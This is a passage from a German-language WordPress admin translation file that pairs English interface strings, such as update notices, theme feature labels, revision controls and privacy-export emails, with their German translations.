"Dieser Benutzer existiert bereits. Es gilt das bereits vorhandene Passwort." #: wp-admin/includes/upgrade.php:96 msgid "Your chosen password." msgstr "Das von dir gewählte Passwort." #: wp-admin/includes/upgrade.php:89 msgid "<strong><em>Note that password</em></strong> carefully! It is a <em>random</em> password that was generated just for you." msgstr "<strong><em>Notiere dir bitte das Passwort!</em></strong> Dies ist ein <em>Zufalls</em>passwort, das nur für dich erstellt wurde." #. translators: %s: Time until the next update. #: wp-admin/includes/update.php:1094 msgid "Automatic update scheduled in %s." msgstr "Automatische Aktualisierung geplant in %s." #. translators: %s: Duration that WP-Cron has been overdue. #: wp-admin/includes/update.php:1088 msgid "Automatic update overdue by %s. There may be a problem with WP-Cron." msgstr "Automatische Aktualisierung seit %s überfällig. Es gibt möglicherweise ein Problem mit WP-Cron." #: wp-admin/includes/update.php:1078 msgid "Automatic update not scheduled. There may be a problem with WP-Cron." msgstr "Automatische Aktualisierung nicht geplant. Es gibt möglicherweise ein Problem mit WP-Cron." #. translators: %s: Recovery Mode exit link. #: wp-admin/includes/update.php:1001 msgid "You are in recovery mode. This means there may be an error with a theme or plugin. To exit recovery mode, log out or use the Exit button. <a href=\"%s\">Exit Recovery Mode</a>" msgstr "Die Website befindet sich im Wiederherstellungsmodus. Das bedeutet, dass es einen Fehler mit einem Theme oder Plugin geben kann. Um den Wiederherstellungsmodus zu verlassen, melde dich ab oder verwende den Button Beenden.<a href=\"%s\">Wiederherstellungsmodus beenden</a>" #. translators: %s: Theme name. #: wp-admin/includes/update.php:970 msgctxt "theme" msgid "%s was successfully deleted." msgstr "%s wurde erfolgreich gelöscht." #. translators: %s: Plugin name. #: wp-admin/includes/update.php:962 msgctxt "plugin" msgid "%s was successfully deleted." msgstr "%s wurde erfolgreich gelöscht." #. translators: %s: Number of failed updates. #: wp-admin/includes/update.php:899 msgid "%s updates failed." msgstr "%s Aktualisierungen fehlgeschlagen." #. translators: %s: Number of failed updates. #: wp-admin/includes/update.php:894 msgid "%s update failed." msgstr "%s Aktualisierung fehlgeschlagen." #. translators: %s: Number of themes. #: wp-admin/includes/update.php:884 msgid "%s themes successfully updated." msgstr "%s Themes wurden erfolgreich aktualisiert." #. translators: %s: Number of plugins. #: wp-admin/includes/update.php:879 msgid "%s plugins successfully updated." msgstr "%s Plugins wurden erfolgreich aktualisiert." #. translators: %s: Number of themes. #: wp-admin/includes/update.php:872 msgid "%s theme successfully updated." msgstr "%s Theme wurde erfolgreich aktualisiert." #. translators: %s: Number of plugins. #: wp-admin/includes/update.php:867 msgid "%s plugin successfully updated." msgstr "%s Plugin wurde erfolgreich aktualisiert." #: wp-admin/includes/update.php:832 msgid "An automated WordPress update has failed to complete! Please notify the site administrator." msgstr "Ein automatisches Update konnte nicht beendet werden! Bitte benachrichtige jemand von der Website-Administration." #. translators: %s: URL to WordPress Updates screen. #: wp-admin/includes/update.php:828 msgid "An automated WordPress update has failed to complete - <a href=\"%s\">please attempt the update again now</a>." msgstr "Ein automatisches Update konnte nicht beendet werden – <a href=\"%s\">Bitte starte die Aktualisierung jetzt erneut</a>." #. translators: 1: Plugin name, 2: Details URL, 3: Additional link attributes, #. 4: Version number 5: URL to Update PHP page. #: wp-admin/includes/update.php:520 msgid "There is a new version of %1$s available, but it doesn’t work with your version of PHP. <a href=\"%2$s\" %3$s>View version %4$s details</a> or <a href=\"%5$s\">learn more about updating PHP</a>." msgstr "Es gibt eine neue Version von %1$s, aber sie funktioniert nicht mit deiner PHP-Version. <a href=\"%2$s\" %3$s>Siehe Details der Version %4$s (engl.)</a> oder <a href=\"%5$s\">Lerne mehr über das Update von PHP (engl.)</a>." #. translators: 1: Plugin name, 2: Details URL, 3: Additional link attributes, #. 4: Version number. #: wp-admin/includes/update.php:487 msgid "There is a new version of %1$s available. <a href=\"%2$s\" %3$s>View version %4$s details</a>. <em>Automatic update is unavailable for this plugin.</em>" msgstr "Eine neue Version von %1$s ist verfügbar. <a href=\"%2$s\" %3$s>Details der Version %4$s ansehen</a>. <em>Eine automatische Aktualisierung für dieses Plugin ist nicht verfügbar.</em>" #. translators: 1: Version number, 2: Theme name. #: wp-admin/includes/update.php:354 msgid "WordPress %1$s running %2$s theme." msgstr "WordPress %1$s verwendet das Theme %2$s." #. translators: %s: WordPress version number, or 'Latest' string. #: wp-admin/includes/update.php:348 msgid "Latest" msgstr "Letztes" #. translators: %s: WordPress version number, or 'Latest' string. #: wp-admin/includes/update.php:348 msgid "Update to %s" msgstr "Auf %s aktualisieren" #. translators: 1: URL to WordPress release notes, 2: New WordPress version. #: wp-admin/includes/update.php:318 msgid "<a href=\"%1$s\">WordPress %2$s</a> is available! Please notify the site administrator." msgstr "<a href=\"%1$s\">WordPress %2$s</a> ist verfügbar! Bitte informiere den Administrator." #: wp-admin/includes/update.php:313 msgid "Please update WordPress now" msgstr "Bitte aktualisiere WordPress jetzt" #. translators: 1: URL to WordPress release notes, 2: New WordPress version, 3: #. URL to network admin, 4: Accessibility text. #: wp-admin/includes/update.php:309 msgid "<a href=\"%1$s\">WordPress %2$s</a> is available! <a href=\"%3$s\" aria-label=\"%4$s\">Please update now</a>." msgstr "<a href=\"%1$s\">WordPress %2$s</a> ist verfügbar! <a href=\"%3$s\" aria-label=\"%4$s\">Bitte aktualisiere jetzt</a>." #. translators: %s: WordPress version. #: wp-admin/includes/update.php:267 msgid "Get Version %s" msgstr "Version %s herunterladen" #. translators: 1: WordPress version number, 2: URL to WordPress Updates #. screen. #: wp-admin/includes/update.php:255 msgid "You are using a development version (%1$s). Cool! Please <a href=\"%2$s\">stay updated</a>." msgstr "Du benutzt eine Entwicklungsversion (%1$s). Super! Halte dich <a href=\"%2$s\">auf dem Laufenden</a>." #. translators: 1: WordPress version, 2: URL to About screen. #: wp-admin/includes/update-core.php:1476 wp-admin/update-core.php:866 msgid "Welcome to WordPress %1$s. <a href=\"%2$s\">Learn more</a>." msgstr "Willkommen bei WordPress %1$s. <a href=\"%2$s\">Mehr erfahren</a>." #. translators: 1: WordPress version, 2: URL to About screen. #: wp-admin/includes/update-core.php:1468 wp-admin/update-core.php:858 msgid "Welcome to WordPress %1$s. You will be redirected to the About WordPress screen. If not, click <a href=\"%2$s\">here</a>." msgstr "Willkommen bei WordPress %1$s. Du wirst nun zur Seite „Über WordPress“ weitergeleitet. Falls nicht, klicke <a href=\"%2$s\">hier</a>." #: wp-admin/includes/update-core.php:1308 msgid "Upgrading database…" msgstr "Die Datenbank wird aktualisiert …" #: wp-admin/includes/update-core.php:1177 msgid "There is not enough free disk space to complete the update." msgstr "Es gibt nicht genug freien Speicherplatz, um die Aktualisierung durchzuführen." #: wp-admin/includes/update-core.php:1117 msgid "Copying the required files…" msgstr "Kopieren der erforderlichen Dateien …" #: wp-admin/includes/update-core.php:1047 msgid "Preparing to install the latest version…" msgstr "Vorbereitung für die Installation der neuesten Version …" #. translators: 1: WordPress version number, 2: The PHP extension name needed. #: wp-admin/includes/update-core.php:1039 msgid "The update cannot be installed because WordPress %1$s requires the %2$s PHP extension." msgstr "Das Update kann nicht installiert werden, weil WordPress %1$s die PHP-Erweiterung %2$s benötigt." #. translators: 1: WordPress version number, 2: Minimum required MySQL version #. number, 3: Current MySQL version number. #: wp-admin/includes/update-core.php:1025 msgid "The update cannot be installed because WordPress %1$s requires MySQL version %2$s or higher. You are running version %3$s." msgstr "Das Update konnte nicht installiert werden, da WordPress %1$s mindestens die MySQL-Version %2$s voraussetzt. Du verwendest die Version %3$s." #. translators: 1: WordPress version number, 2: Minimum required PHP version #. number, 3: Current PHP version number. #: wp-admin/includes/update-core.php:1014 msgid "The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher. You are running version %3$s." msgstr "Das Update konnte nicht installiert werden, da WordPress %1$s mindestens die PHP-Version %2$s voraussetzt. Du verwendest die Version %3$s." #. translators: 1: WordPress version number, 2: Minimum required PHP version #. number, 3: Minimum required MySQL version number, 4: Current PHP version #. number, 5: Current MySQL version number. #: wp-admin/includes/update-core.php:1001 msgid "The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s." msgstr "Das Update konnte nicht installiert werden, da WordPress %1$s mindestens die PHP-Version %2$s und die MySQL-Version %3$s voraussetzt. Du verwendest die PHP-Version %4$s und die MySQL-Version %5$s." #: wp-admin/includes/update-core.php:935 msgid "The update could not be unpacked" msgstr "Das Update konnte nicht entpackt werden" #: wp-admin/includes/update-core.php:922 msgid "Verifying the unpacked files…" msgstr "Überprüfung der entpackten Dateien …" #: wp-admin/includes/translation-install.php:24 msgid "Invalid translation type." msgstr "Ungültige Übersetzungsart." #: wp-admin/includes/theme.php:1151 msgid "Go to the Themes screen" msgstr "Zur Themes-Ansicht wechseln" #: wp-admin/includes/theme.php:1149 msgid "You can find more details and make changes on the Themes screen." msgstr "Weitere Details und Änderungen findest du in der Themes-Ansicht." #: wp-admin/includes/theme.php:1148 msgid "One or more themes failed to load properly." msgstr "Mindestens ein Theme konnte nicht korrekt geladen werden." #: wp-admin/includes/theme.php:1119 msgid "Could not resume the theme." msgstr "Das Theme konnte nicht wiederhergestellt werden." #: wp-admin/includes/theme.php:1006 wp-admin/theme-install.php:395 #: wp-admin/theme-install.php:427 msgctxt "theme" msgid "Cannot Install" msgstr "Installation nicht möglich" #: wp-admin/includes/theme.php:981 wp-admin/themes.php:1087 msgid "Tags:" msgstr "Tags:" #. translators: %s: Theme name. #: wp-admin/includes/theme.php:916 wp-admin/themes.php:1081 msgid "This is a child theme of %s." msgstr "Dies ist ein Child-Theme von %s." #: wp-admin/includes/theme.php:842 wp-admin/themes.php:1002 msgid "Update Incompatible" msgstr "Aktualisierung nicht kompatibel" #: wp-admin/includes/theme.php:837 wp-admin/themes.php:997 msgid "Update Available" msgstr "Aktualisierung verfügbar" #. translators: %s: Number of ratings. #: wp-admin/includes/theme.php:825 wp-admin/theme-install.php:450 msgid "(%s ratings)" msgstr "(%s Bewertungen)" #. translators: %s: Theme version. #: wp-admin/includes/theme.php:807 wp-admin/theme-install.php:461 #: wp-admin/themes.php:929 msgid "Version: %s" msgstr "Version: %s" #: wp-admin/includes/theme.php:802 wp-admin/themes.php:924 msgid "Current Theme" msgstr "Aktuelles Theme" #: wp-admin/includes/theme.php:789 wp-admin/themes.php:911 msgid "Close details dialog" msgstr "Dialogfenster mit Detailansicht schließen" #: wp-admin/includes/theme.php:788 wp-admin/themes.php:910 msgid "Show next theme" msgstr "Nächstes Theme anzeigen" #: wp-admin/includes/theme.php:787 wp-admin/themes.php:909 msgid "Show previous theme" msgstr "Vorheriges Theme anzeigen" #: wp-admin/includes/theme.php:329 msgid "Wide Blocks" msgstr "Breite Blöcke" #: wp-admin/includes/theme.php:328 msgid "Right Sidebar" msgstr "Seitenleiste rechts" #: wp-admin/includes/theme.php:327 msgid "Left Sidebar" msgstr "Seitenleiste links" #: wp-admin/includes/theme.php:326 msgid "Four Columns" msgstr "Vier Spalten" #: wp-admin/includes/theme.php:325 msgid "Three Columns" msgstr "Drei Spalten" #: wp-admin/includes/theme.php:324 msgid "Two Columns" msgstr "Zwei Spalten" #: wp-admin/includes/theme.php:323 msgid "One Column" msgstr "Eine Spalte" #: wp-admin/includes/theme.php:322 msgid "Grid Layout" msgstr "Raster-Layout" #: wp-admin/includes/theme.php:318 msgid "Theme Options" msgstr "Theme-Einstellungen" #: wp-admin/includes/theme.php:317 msgid "Sticky Post" msgstr "Beitrag oben halten" #: wp-admin/includes/theme.php:315 msgid "Full Width Template" msgstr "Template mit voller Breite" #: wp-admin/includes/theme.php:314 msgid "Full Site Editing" msgstr "Full Site Editing" #: wp-admin/includes/theme.php:313 msgid "Footer Widgets" msgstr "Footer-Widgets" #: wp-admin/includes/theme.php:312 msgid "Featured Images" msgstr "Beitragsbilder" #: wp-admin/includes/theme.php:311 msgid "Featured Image Header" msgstr "Individuelles Header-Bild" #: wp-admin/includes/theme.php:310 msgid "Editor Style" msgstr "Stylesheet für Editor" #: wp-admin/includes/theme.php:309 msgid "Custom Logo" msgstr "Individuelles Logo" #: wp-admin/includes/theme.php:307 msgid "Custom Colors" msgstr "Individuelle Farben" #: wp-admin/includes/theme.php:305 msgid "Block Editor Styles" msgstr "Block-Editor-Stile" #: wp-admin/includes/theme.php:304 msgid "Block Editor Patterns" msgstr "Block-Editor-Vorlagen" #: wp-admin/includes/theme.php:303 msgid "Accessibility Ready" msgstr "Für Barrierefreiheit geeignet" #: wp-admin/includes/theme.php:302 wp-admin/includes/theme.php:358 msgid "Features" msgstr "Funktionen" #: wp-admin/includes/theme.php:299 msgid "Portfolio" msgstr "Portfolio" #: wp-admin/includes/theme.php:298 msgid "Photography" msgstr "Fotografie" #: wp-admin/includes/theme.php:296 msgid "Holiday" msgstr "Feiertage" #: wp-admin/includes/theme.php:295 msgid "Food & Drink" msgstr "Essen & Trinken" #: wp-admin/includes/theme.php:294 msgid "Entertainment" msgstr "Unterhaltung" #: wp-admin/includes/theme.php:293 msgid "Education" msgstr "Bildung" #: wp-admin/includes/theme.php:292 msgid "E-Commerce" msgstr "E-Commerce" #: wp-admin/includes/theme.php:291 msgid "Blog" msgstr "Blog" #: wp-admin/includes/theme.php:290 wp-admin/includes/theme.php:359 msgid "Subject" msgstr "Thema" #. translators: %s: Theme name. #: wp-admin/includes/theme.php:243 wp-admin/includes/update.php:706 msgctxt "theme" msgid "Update %s now" msgstr "%s jetzt aktualisieren" #. translators: 1: Theme name, 2: Theme details URL, 3: Additional link #. attributes, 4: Version number, 5: Update URL, 6: Additional link attributes. #. translators: 1: Plugin name, 2: Details URL, 3: Additional link attributes, #. 4: Version number, 5: Update URL, 6: Additional link attributes. #. translators: 1: Theme name, 2: Details URL, 3: Additional link attributes, #. 4: Version number, 5: Update URL, 6: Additional link attributes. #: wp-admin/includes/theme.php:230 wp-admin/includes/update.php:501 #: wp-admin/includes/update.php:693 msgid "There is a new version of %1$s available. <a href=\"%2$s\" %3$s>View version %4$s details</a> or <a href=\"%5$s\" %6$s>update now</a>." msgstr "Eine neue Version von %1$s ist verfügbar. <a href=\"%2$s\" %3$s>Details der Version %4$s ansehen</a> oder <a href=\"%5$s\" %6$s>jetzt aktualisieren</a>." #. translators: 1: Theme name, 2: Theme details URL, 3: Additional link #. attributes, 4: Version number. #. translators: 1: Theme name, 2: Details URL, 3: Additional link attributes, #. 4: Version number. #: wp-admin/includes/theme.php:217 wp-admin/includes/update.php:680 msgid "There is a new version of %1$s available. <a href=\"%2$s\" %3$s>View version %4$s details</a>. <em>Automatic update is unavailable for this theme.</em>" msgstr "Eine neue Version von %1$s ist verfügbar <a href=\"%2$s\" %3$s>Details der Version %4$s ansehen</a>. <em>Eine automatische Aktualisierung ist für dieses Theme nicht verfügbar.</em>" #. translators: 1: Theme name, 2: Version number. #. translators: 1: Plugin name, 2: Version number. #: wp-admin/includes/theme.php:210 wp-admin/includes/theme.php:223 #: wp-admin/includes/theme.php:236 wp-admin/includes/update.php:480 #: wp-admin/includes/update.php:493 wp-admin/includes/update.php:507 #: wp-admin/includes/update.php:526 wp-admin/includes/update.php:673 #: wp-admin/includes/update.php:686 wp-admin/includes/update.php:699 #: wp-admin/update-core.php:528 msgid "View %1$s version %2$s details" msgstr "Details der Version %2$s von %1$s anzeigen" #. translators: 1: Theme name, 2: Theme details URL, 3: Additional link #. attributes, 4: Version number. #. translators: 1: Plugin name, 2: Details URL, 3: Additional link attributes, #. 4: Version number. #. translators: 1: Theme name, 2: Details URL, 3: Additional link attributes, #. 4: Version number. #: wp-admin/includes/theme.php:204 wp-admin/includes/update.php:474 #: wp-admin/includes/update.php:667 msgid "There is a new version of %1$s available. <a href=\"%2$s\" %3$s>View version %4$s details</a>." msgstr "Eine neue Version von %1$s ist verfügbar. <a href=\"%2$s\" %3$s>Details der Version %4$s ansehen</a>." #. translators: %s: Theme name. #: wp-admin/includes/theme.php:83 msgid "Could not fully remove the theme %s." msgstr "Das Theme %s konnte nicht vollständig entfernt werden." #: wp-admin/includes/theme-install.php:245 msgid "Theme Installation" msgstr "Theme-Installation" #: wp-admin/includes/theme-install.php:185 msgid "Theme zip file" msgstr "ZIP-Datei des Themes" #: wp-admin/includes/theme-install.php:182 msgid "If you have a theme in a .zip format, you may install or update it by uploading it here." msgstr "Wenn du ein Theme im .zip-Format hast, kannst du es hier hochladen, um es zu installieren oder aktualisieren." #: wp-admin/includes/theme-install.php:172 msgid "Find Themes" msgstr "Themes finden" #: wp-admin/includes/theme-install.php:140 msgid "Find a theme based on specific features." msgstr "Finde ein Theme basierend auf spezifischen Eigenschaften." #: wp-admin/includes/theme-install.php:139 wp-admin/theme-install.php:182 msgid "Feature Filter" msgstr "Nach Funktionen filtern" #: wp-admin/includes/theme-install.php:117 msgid "Search by tag" msgstr "Schlagwortsuche" #: wp-admin/includes/theme-install.php:114 msgid "Search by author" msgstr "Suche nach Autor" #: wp-admin/includes/theme-install.php:111 #: wp-admin/includes/theme-install.php:123 msgid "Search by keyword" msgstr "Stichwortsuche" #: wp-admin/includes/theme-install.php:105 msgctxt "Theme Installer" msgid "Tag" msgstr "Schlagwort" #: wp-admin/includes/theme-install.php:101 msgid "Type of search" msgstr "Art der Suche" #: wp-admin/includes/theme-install.php:95 msgid "Search for themes by keyword." msgstr "Suche nach Themes per Stichwort." #: wp-admin/includes/template.php:2669 msgid "You are currently editing the page that shows your latest posts." msgstr "Du bearbeitest gerade die Seite, die deine letzten Beiträge anzeigt." #. translators: %s: The rating. #: wp-admin/includes/template.php:2645 msgid "%s rating" msgstr "%s Bewertung" #. translators: 1: The rating, 2: The number of ratings. #: wp-admin/includes/template.php:2641 msgid "%1$s rating based on %2$s rating" msgid_plural "%1$s rating based on %2$s ratings" msgstr[0] "%1$s Bewertung bezogen auf %2$s Bewertung" msgstr[1] "%1$s Bewertung bezogen auf %2$s Bewertungen" #: wp-admin/includes/template.php:2588 msgid "This will replace the current editor content with the last backup version. You can use undo and redo in the editor to get the old content back or to return to the restored version." msgstr "Das wird den aktuellen Editor-Inhalt mit dem Inhalt der letzten gespeicherten Version ersetzen. Du kannst die Funktionen Rückgängig oder Wiederherstellen im Editor nutzen, um den alten Inhalt zurück zu holen oder um zur wiederhergestellten Version zurückzukehren." #. translators: 1: wp-admin/includes/template.php, 2: add_meta_box(), 3: #. add_meta_boxes #: wp-admin/includes/template.php:2558 msgid "Likely direct inclusion of %1$s in order to use %2$s. This is very wrong. Hook the %2$s call into the %3$s action instead." msgstr "Vermutlich direkte Einbindung von %1$s, um %2$s zu benutzen. Das ist sehr falsch. Den %2$s-Aufruf bitte stattdessen als Hook in die %3$s-Action einklinken." #: wp-admin/includes/template.php:2481 wp-admin/nav-menus.php:799 #: wp-admin/options.php:402 msgid "Save Changes" msgstr "Änderungen speichern" #: wp-admin/includes/template.php:2325 msgid "Current Background Image" msgstr "Derzeit aktives Hintergrundbild" #: wp-admin/includes/template.php:2312 msgid "Current Header Video" msgstr "Aktuelles Header-Video" #: wp-admin/includes/template.php:2305 msgid "Current Header Image" msgstr "Das derzeitige Header-Bild" #: wp-admin/includes/template.php:2218 msgctxt "page label" msgid "Privacy Policy Page" msgstr "Seite Datenschutzerklärung" #: wp-admin/includes/template.php:2213 msgctxt "page label" msgid "Posts Page" msgstr "Beitragsseite" #: wp-admin/includes/template.php:2209 msgctxt "page label" msgid "Front Page" msgstr "Startseite" #: wp-admin/includes/template.php:2200 msgctxt "post status" msgid "Sticky" msgstr "Oben gehalten" #: wp-admin/includes/template.php:2192 msgctxt "post status" msgid "Customization Draft" msgstr "Entwurf für die Anpassung" #: wp-admin/includes/template.php:2187 msgid "Customization Draft" msgstr "Customizer-Entwurf" #: wp-admin/includes/template.php:2178 msgctxt "post status" msgid "Password protected" msgstr "Passwortgeschützt" #: wp-admin/includes/template.php:1931 msgid "Close media attachment panel" msgstr "„Medien hinzufügen“-Bedienfeld schließen" #: wp-admin/includes/template.php:1930 msgid "Attach to existing content" msgstr "An bestehenden Inhalt anhängen" #. translators: %s: Meta box title. #: wp-admin/includes/template.php:1361 msgid "Toggle panel: %s" msgstr "Bedienfeld umschalten: %s" #. translators: %s: Meta box title. #: wp-admin/includes/template.php:1354 msgid "Move %s box down" msgstr "Box „%s“ nach unten verschieben" #. translators: %s: Meta box title. #: wp-admin/includes/template.php:1344 msgid "Move %s box up" msgstr "Box „%s“ nach oben verschieben" #: wp-admin/includes/template.php:1322 wp-admin/options.php:351 #: wp-admin/includes/network.php:128 wp-admin/includes/network.php:203 #: wp-admin/includes/network.php:263 wp-admin/includes/network.php:312 #: wp-admin/includes/network.php:325 wp-admin/includes/network.php:427 #: wp-admin/includes/network.php:615 wp-admin/includes/network.php:668 msgid "Warning:" msgstr "Warnung:" #. translators: %s: A link to use the Classic Editor plugin. #: wp-admin/includes/template.php:1177 msgid "Please open the <a href=\"%s\">classic editor</a> to use this meta box." msgstr "Bitte öffne den <a href=\"%s\">Classic Editor</a>, um diese Metabox zu benutzen." #. translators: %s: A link to activate the Classic Editor plugin. #: wp-admin/includes/template.php:1164 msgid "Please activate the <a href=\"%s\">Classic Editor plugin</a> to use this meta box." msgstr "Bitte aktiviere das Plugin <a href=\"%s\">Classic Editor</a>, um diese Metabox zu benutzen." #. translators: %s: A link to install the Classic Editor plugin. #: wp-admin/includes/template.php:1154 msgid "Please install the <a href=\"%s\">Classic Editor plugin</a> to use this meta box." msgstr "Bitte installiere das Plugin <a href=\"%s\">Classic Editor</a>, um diese Metabox zu benutzen." #: wp-admin/includes/template.php:1145 msgid "This meta box isn't compatible with the block editor." msgstr "Diese Metabox ist nicht mit dem Block-Editor kompatibel." #. translators: %s: The name of the plugin that generated this meta box. #: wp-admin/includes/template.php:1143 wp-admin/includes/template.php:1381 msgid "This meta box, from the %s plugin, isn't compatible with the block editor." msgstr "Diese Metabox, von dem %s-Plugin, ist nicht mit dem Block-Editor kompatibel." #: wp-admin/includes/template.php:992 msgid "Upload file and import" msgstr "Datei hochladen und importieren" #. translators: %s: Maximum allowed file size. #: wp-admin/includes/template.php:985 msgid "Maximum size: %s" msgstr "Maximale Größe: %s" #: wp-admin/includes/template.php:983 msgid "Choose a file from your computer:" msgstr "Wähle eine Datei von deinem Computer:" #: wp-admin/includes/template.php:973 msgid "Before you can upload your import file, you will need to fix the following error:" msgstr "Ehe du die Importdatei hochladen kannst, musst du folgende Fehler beheben:" #. translators: 1: Month, 2: Day, 3: Year, 4: Hour, 5: Minute. #: wp-admin/includes/template.php:833 wp-admin/js/comment.js:89 #: wp-admin/js/post.js:783 msgid "%1$s %2$s, %3$s at %4$s:%5$s" msgstr "%2$s %1$s %3$s um %4$s:%5$s" #: wp-admin/includes/template.php:753 msgid "Add Custom Field" msgstr "Individuelles Feld hinzufügen" #: wp-admin/includes/template.php:740 msgid "Enter new" msgstr "Neu eingeben" #: wp-admin/includes/template.php:714 msgid "Add New Custom Field:" msgstr "Ein neues individuelles Feld hinzufügen:" #: wp-admin/includes/template.php:642 msgid "Key" msgstr "Schlüssel" #: wp-admin/includes/template.php:572 wp-admin/includes/template.php:587 #: wp-admin/includes/template.php:652 wp-admin/includes/template.php:719 msgid "Value" msgstr "Wert" #: wp-admin/includes/template.php:571 wp-admin/includes/template.php:586 #: wp-admin/includes/template.php:718 msgctxt "meta name" msgid "Name" msgstr "Name" #. translators: %s: Comment author, filled by Ajax. #: wp-admin/includes/template.php:549 msgid "Comment by %s marked as spam." msgstr "Kommentar von %s wurde als Spam markiert." #. translators: %s: Comment author, filled by Ajax. #: wp-admin/includes/template.php:540 msgid "Comment by %s moved to the Trash." msgstr "Kommentar von %s wurde in den Papierkorb gelegt." #: wp-admin/includes/template.php:496 msgid "Submit Reply" msgstr "Antwort senden" #: wp-admin/includes/template.php:495 msgid "Update Comment" msgstr "Kommentar aktualisieren" #: wp-admin/includes/template.php:455 msgid "Add new Comment" msgstr "Neuen Kommentar hinzufügen" #: wp-admin/includes/template.php:454 msgid "Reply to Comment" msgstr "Antwort auf Kommentar" #: wp-admin/includes/taxonomy.php:136 msgid "You did not enter a category name." msgstr "Du hast keinen Kategorienamen eingegeben." #. translators: %s: Site link. #. translators: First post content. %s: Site link. #: wp-admin/includes/schema.php:1258 wp-admin/includes/upgrade.php:213 msgid "Welcome to %s. This is your first post. Edit or delete it, then start writing!" msgstr "Willkommen bei %s. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!" #: wp-admin/includes/schema.php:1245 msgid "My Network" msgstr "Mein Netzwerk" #: wp-admin/includes/schema.php:1109 msgid "You can still use your site but any subdomain you create may not be accessible. If you know your DNS is correct, ignore this message." msgstr "Du kannst deine Website weiterhin benutzen, nur wird jede angelegte Subdomain möglicherweise nicht erreichbar sein. Wenn du weißt, dass deine DNS-Einstellungen korrekt sind, kannst du diesen Hinweis ignorieren." #. translators: %s: Asterisk symbol (*). #: wp-admin/includes/schema.php:1105 msgid "To use a subdomain configuration, you must have a wildcard entry in your DNS. This usually means adding a %s hostname record pointing at your web server in your DNS configuration tool." msgstr "Um eine Subdomain-Konfiguration nutzen zu können, musst du einen Wildcard DNS-Eintrag haben. Das geschieht üblicherweise durch das Einfügen von einem %s als Hostname-Eintrag, welcher dann auf deinen Webserver zeigt. Dies musst du im DNS-Konfigurationstool deines Servers bzw. deiner Domain tun." #. translators: %s: Error message. #: wp-admin/includes/schema.php:1099 msgid "This resulted in an error message: %s" msgstr "Dabei trat eine Fehlermeldung auf: %s" #. translators: %s: Host name. #: wp-admin/includes/schema.php:1094 msgid "The installer attempted to contact a random hostname (%s) on your domain." msgstr "Die Subdomain-Installation versuchte, einen zufälligen Hostnamen (%s) deiner Domain zu kontaktieren." #: wp-admin/includes/schema.php:1090 msgid "Warning! Wildcard DNS may not be configured correctly!" msgstr "Warnung! Wildcard DNS wurde eventuell nicht korrekt konfiguriert!" #: wp-admin/includes/schema.php:997 msgid "You must provide a valid email address." msgstr "Du musst eine gültige E-Mail-Adresse angeben." #: wp-admin/includes/schema.php:988 wp-admin/includes/schema.php:992 msgid "The network already exists." msgstr "Das Netzwerk existiert bereits." #: wp-admin/includes/schema.php:981 msgid "You must provide a name for your network of sites." msgstr "Du musst einen Namen für dein Netzwerk angeben." #: wp-admin/includes/schema.php:978 msgid "You must provide a domain name." msgstr "Du musst einen Domainnamen angeben." #. translators: %s: Network title. #: wp-admin/includes/schema.php:556 msgid "Just another %s site" msgstr "Eine weitere %s Website" #. translators: Default start of the week. 0 = Sunday, 1 = Monday. #: wp-admin/includes/schema.php:409 msgctxt "start of week" msgid "1" msgstr "1" #. translators: Site tagline. #: wp-admin/includes/schema.php:405 msgid "Just another WordPress site" msgstr "Eine weitere WordPress-Website" #: wp-admin/includes/schema.php:403 msgid "My Site" msgstr "Meine Website" #. translators: default GMT offset or timezone string. Must be either a valid #. offset (-12 to 14) or a valid timezone string (America/New_York). See #. https://www.php.net/manual/en/timezones.php for all timezone strings #. supported by PHP. #: wp-admin/includes/schema.php:393 msgctxt "default GMT offset or timezone string" msgid "0" msgstr "Europe/Berlin" #: wp-admin/includes/revision.php:455 msgid "Sorry, something went wrong. The requested comparison could not be loaded." msgstr "Entschuldige, etwas ist schief gelaufen. Der gewünschte Vergleich konnte nicht geladen werden." #: wp-admin/includes/revision.php:443 msgid "Restore This Revision" msgstr "Diese Revision wiederherstellen" #: wp-admin/includes/revision.php:441 msgid "Restore This Autosave" msgstr "Automatische Speicherung wiederherstellen" #. translators: %s: User's display name. #: wp-admin/includes/revision.php:423 msgid "Revision by %s" msgstr "Revision von %s" #. translators: %s: User's display name. #: wp-admin/includes/revision.php:413 msgid "Current Revision by %s" msgstr "Aktuelle Version von %s" #. translators: %s: User's display name. #: wp-admin/includes/revision.php:403 msgid "Autosave by %s" msgstr "Automatische Speicherung von %s" #: wp-admin/includes/revision.php:393 msgctxt "Followed by post revision info" msgid "To:" msgstr "An:" #: wp-admin/includes/revision.php:391 msgctxt "Followed by post revision info" msgid "From:" msgstr "Von:" #: wp-admin/includes/revision.php:382 msgid "Compare any two revisions" msgstr "Zwei beliebige Revisionen vergleichen" #: wp-admin/includes/revision.php:368 msgctxt "Button label for a next revision" msgid "Next" msgstr "Weiter" #: wp-admin/includes/revision.php:364 msgctxt "Button label for a previous revision" msgid "Previous" msgstr "Zurück" #: wp-admin/includes/revision.php:243 wp-admin/includes/revision.php:286 msgctxt "revision date short format" msgid "j M @ H:i" msgstr "j. M @ H:i" #: wp-admin/includes/revision.php:242 wp-admin/includes/revision.php:285 msgid "M j, Y @ H:i" msgstr "j. M Y \\u\\m G:i" #: wp-admin/includes/revision.php:90 msgid "Added" msgstr "Hinzugefügt" #: wp-admin/includes/revision.php:89 msgid "Removed" msgstr "Entfernt" #: wp-admin/includes/privacy-tools.php:924 msgid "Invalid request ID when processing personal data to erase." msgstr "Ungültige Anfrage-ID bei der Verarbeitung von Löschdaten des Benutzer-Datenschutzes." #: wp-admin/includes/privacy-tools.php:773 msgid "Invalid request ID when merging personal data to export." msgstr "Ungültige Anfrage-ID beim Zusammenführen von personenbezogenen Daten für den Export." #: wp-admin/includes/privacy-tools.php:726 msgid "Unable to send personal data export email." msgstr "Kann Export-E-Mail mit personenbezogenen Daten nicht senden." #. translators: Do not translate EXPIRATION, LINK, SITENAME, SITEURL: those are #. placeholders. #: wp-admin/includes/privacy-tools.php:642 msgid "" "Howdy,\n" "\n" "Your request for an export of personal data has been completed. You may\n" "download your personal data by clicking on the link below. For privacy\n" "and security, we will automatically delete the file on ###EXPIRATION###,\n" "so please download it before then.\n" "\n" "###LINK###\n" "\n" "Regards,\n" "All at ###SITENAME###\n" "###SITEURL###" msgstr "" "Hallo,\n" "\n" "Deine Anfrage für den Export personenbezogener Daten 